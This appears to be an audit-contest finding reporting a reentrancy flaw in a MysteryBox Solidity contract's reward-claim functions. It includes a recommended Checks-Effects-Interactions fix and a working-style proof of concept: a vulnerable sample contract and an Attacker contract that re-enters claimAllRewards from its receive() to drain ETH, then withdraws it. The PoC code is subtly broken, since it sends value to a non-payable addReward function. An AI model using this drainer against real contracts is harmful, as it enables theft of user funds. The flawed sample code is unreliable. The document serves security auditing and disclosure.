Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in MysteryBox::claimAllRewards() and MysteryBox::claimSingleReward()

Summary

The functions MysteryBox::claimAllRewards() and MysteryBox::claimSingleReward() are vulnerable to a reentrancy attack due to the external call to transfer ETH before updating the contract's state. This allows an attacker to repeatedly call these functions and drain the contract’s funds.

Vulnerability Details

Affected Code

(bool success,) = payable(msg.sender).call{value: totalValue}(""); // `claimAllRewards`
(bool success,) = payable(msg.sender).call{value: value}(""); // `claimSingleReward`

Impact

A malicious actor can drain all funds from the contract by recursively calling MysteryBox::claimAllRewards() or MysteryBox::claimSingleReward() before the contract’s state is updated.

Tools Used

  • Visual Studio Code

  • Solidity

  • Foundry

Recommended Mitigation

Adopt the Checks-Effects-Interactions pattern to update the state before making any external call.

delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");

Proof of Concept

Step 1: Deploy the MysteryBox Contract

Deploy the following vulnerable contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MysteryBox {
address public owner;
mapping(address => Reward[]) public rewardsOwned;
struct Reward {
string name;
uint256 value;
}
constructor() payable {
owner = msg.sender;
}
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender];
}
function addReward(string memory _name, uint256 _value) public {
rewardsOwned[msg.sender].push(Reward(_name, _value));
}
receive() external payable {}
}

Step 2: Deploy the Attacker Contract

Deploy a malicious contract to exploit the vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MysteryBox.sol"; // Import vulnerable contract
contract Attacker {
MysteryBox public mysteryBox;
address public owner;
constructor(address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
owner = msg.sender;
}
function attack() external payable {
require(msg.sender == owner, "Only owner can attack");
// Add a reward to claim
mysteryBox.addReward{value: msg.value}("Fake Reward", msg.value);
// Claim all rewards, triggering reentrancy
mysteryBox.claimAllRewards();
}
// Fallback function to enable reentrancy
receive() external payable {
if (address(mysteryBox).balance > 0) {
mysteryBox.claimAllRewards();
}
}
// Withdraw stolen funds
function withdraw() public {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
}

Step 3: Exploit

  1. Deploy the MysteryBox contract.

  2. Deploy the Attacker contract, passing the MysteryBox address.

  3. Execute attack() on the Attacker contract with some ETH (e.g., 0.1 ETH). The attack will recursively drain all funds from the MysteryBox.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.